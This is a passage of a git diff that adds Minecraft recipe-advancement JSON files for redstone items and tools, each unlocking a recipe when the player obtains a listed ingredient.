a/src/data/minecraft/advancements/recipes/redstone/oak_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/oak_fence_gate.json new file mode 100644 index 00000000..c8b3b0eb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/oak_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/oak_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/oak_pressure_plate.json new file mode 100644 index 00000000..fba89ad9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/oak_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/oak_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/oak_trapdoor.json new file mode 100644 index 00000000..9dc6b126 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/oak_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/observer.json b/src/data/minecraft/advancements/recipes/redstone/observer.json new file mode 100644 index 00000000..ab8716e2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/observer.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:observer" + ] + }, + "criteria": { + "has_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:observer" + } + } + }, + "requirements": [ + [ + "has_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/piston.json b/src/data/minecraft/advancements/recipes/redstone/piston.json new file mode 100644 index 00000000..4c24b5c8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/piston.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:piston" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:piston" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/polished_blackstone_button.json b/src/data/minecraft/advancements/recipes/redstone/polished_blackstone_button.json new file mode 100644 index 00000000..c53b681d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/polished_blackstone_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_button" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_button" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/polished_blackstone_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/polished_blackstone_pressure_plate.json new file mode 100644 index 00000000..6fe436ab --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/polished_blackstone_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_pressure_plate" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/redstone.json b/src/data/minecraft/advancements/recipes/redstone/redstone.json new file mode 100644 index 00000000..510093ff --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/redstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:redstone" + ] + }, + "criteria": { + "has_redstone_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:redstone" + } + } + }, + "requirements": [ + [ + "has_redstone_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/redstone_block.json b/src/data/minecraft/advancements/recipes/redstone/redstone_block.json new file mode 100644 index 00000000..01ce4848 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/redstone_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:redstone_block" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:redstone_block" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/redstone_from_blasting.json b/src/data/minecraft/advancements/recipes/redstone/redstone_from_blasting.json new file mode 100644 index 00000000..4484b4a2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/redstone_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:redstone_from_blasting" + ] + }, + "criteria": { + "has_redstone_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:redstone_from_blasting" + } + } + }, + "requirements": [ + [ + "has_redstone_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/redstone_from_smelting.json b/src/data/minecraft/advancements/recipes/redstone/redstone_from_smelting.json new file mode 100644 index 00000000..9a048729 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/redstone_from_smelting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:redstone_from_smelting" + ] + }, + "criteria": { + "has_redstone_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:redstone_from_smelting" + } + } + }, + "requirements": [ + [ + "has_redstone_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/redstone_lamp.json b/src/data/minecraft/advancements/recipes/redstone/redstone_lamp.json new file mode 100644 index 00000000..4383eb72 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/redstone_lamp.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:redstone_lamp" + ] + }, + "criteria": { + "has_glowstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glowstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:redstone_lamp" + } + } + }, + "requirements": [ + [ + "has_glowstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/redstone_torch.json b/src/data/minecraft/advancements/recipes/redstone/redstone_torch.json new file mode 100644 index 00000000..18cd8e59 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/redstone_torch.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:redstone_torch" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:redstone_torch" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/repeater.json b/src/data/minecraft/advancements/recipes/redstone/repeater.json new file mode 100644 index 00000000..afbf959f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/repeater.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:repeater" + ] + }, + "criteria": { + "has_redstone_torch": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone_torch" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:repeater" + } + } + }, + "requirements": [ + [ + "has_redstone_torch", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/spruce_button.json b/src/data/minecraft/advancements/recipes/redstone/spruce_button.json new file mode 100644 index 00000000..88262e53 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/spruce_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_button" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/spruce_door.json b/src/data/minecraft/advancements/recipes/redstone/spruce_door.json new file mode 100644 index 00000000..c4d9758f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/spruce_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/spruce_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/spruce_fence_gate.json new file mode 100644 index 00000000..240b18ce --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/spruce_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/spruce_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/spruce_pressure_plate.json new file mode 100644 index 00000000..c79ecc40 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/spruce_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/spruce_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/spruce_trapdoor.json new file mode 100644 index 00000000..65d421f0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/spruce_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/sticky_piston.json b/src/data/minecraft/advancements/recipes/redstone/sticky_piston.json new file mode 100644 index 00000000..7616bf74 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/sticky_piston.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sticky_piston" + ] + }, + "criteria": { + "has_slime_ball": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:slime_ball" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sticky_piston" + } + } + }, + "requirements": [ + [ + "has_slime_ball", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/stone_button.json b/src/data/minecraft/advancements/recipes/redstone/stone_button.json new file mode 100644 index 00000000..989133f5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/stone_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_button" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_button" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/stone_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/stone_pressure_plate.json new file mode 100644 index 00000000..27823e26 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/stone_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_pressure_plate" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/target.json b/src/data/minecraft/advancements/recipes/redstone/target.json new file mode 100644 index 00000000..d1b7bbb1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/target.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:target" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_hay_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:hay_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:target" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_hay_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/tnt.json b/src/data/minecraft/advancements/recipes/redstone/tnt.json new file mode 100644 index 00000000..7f325131 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/tnt.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:tnt" + ] + }, + "criteria": { + "has_gunpowder": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gunpowder" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:tnt" + } + } + }, + "requirements": [ + [ + "has_gunpowder", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/trapped_chest.json b/src/data/minecraft/advancements/recipes/redstone/trapped_chest.json new file mode 100644 index 00000000..8bb2a94b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/trapped_chest.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:trapped_chest" + ] + }, + "criteria": { + "has_tripwire_hook": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:tripwire_hook" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:trapped_chest" + } + } + }, + "requirements": [ + [ + "has_tripwire_hook", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/tripwire_hook.json b/src/data/minecraft/advancements/recipes/redstone/tripwire_hook.json new file mode 100644 index 00000000..7630614f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/tripwire_hook.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:tripwire_hook" + ] + }, + "criteria": { + "has_string": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:string" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:tripwire_hook" + } + } + }, + "requirements": [ + [ + "has_string", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/warped_button.json b/src/data/minecraft/advancements/recipes/redstone/warped_button.json new file mode 100644 index 00000000..a2b7d4f7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/warped_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_button" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/warped_door.json b/src/data/minecraft/advancements/recipes/redstone/warped_door.json new file mode 100644 index 00000000..423ad1d8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/warped_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/warped_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/warped_fence_gate.json new file mode 100644 index 00000000..3a375159 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/warped_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/warped_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/warped_pressure_plate.json new file mode 100644 index 00000000..002c5f19 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/warped_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/warped_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/warped_trapdoor.json new file mode 100644 index 00000000..eab31837 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/warped_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/root.json b/src/data/minecraft/advancements/recipes/root.json new file mode 100644 index 00000000..78142c57 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/root.json @@ -0,0 +1,12 @@ +{ + "criteria": { + "impossible": { + "trigger": "minecraft:impossible" + } + }, + "requirements": [ + [ + "impossible" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/clock.json b/src/data/minecraft/advancements/recipes/tools/clock.json new file mode 100644 index 00000000..ed6e2369 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/clock.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:clock" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:clock" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/compass.json b/src/data/minecraft/advancements/recipes/tools/compass.json new file mode 100644 index 00000000..6abd01dd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/compass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:compass" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:compass" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/diamond_axe.json b/src/data/minecraft/advancements/recipes/tools/diamond_axe.json new file mode 100644 index 00000000..fd88b3d6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/diamond_axe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_axe" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_axe" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/diamond_hoe.json b/src/data/minecraft/advancements/recipes/tools/diamond_hoe.json new file mode 100644 index 00000000..1110d43f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/diamond_hoe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_hoe" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_hoe" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/diamond_pickaxe.json b/src/data/minecraft/advancements/recipes/tools/diamond_pickaxe.json new file mode 100644 index 00000000..732a483f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/diamond_pickaxe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_pickaxe" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_pickaxe" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/diamond_shovel.json b/src/data/minecraft/advancements/recipes/tools/diamond_shovel.json new file mode 100644 index 00000000..5fcc8b7e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/diamond_shovel.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_shovel" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_shovel" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/fishing_rod.json b/src/data/minecraft/advancements/recipes/tools/fishing_rod.json new file mode 100644 index 00000000..43b89570 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/fishing_rod.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:fishing_rod" + ] + }, + "criteria": { + "has_string": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:string" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:fishing_rod" + } + } + }, + "requirements": [ + [ + "has_string", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/flint_and_steel.json b/src/data/minecraft/advancements/recipes/tools/flint_and_steel.json new file 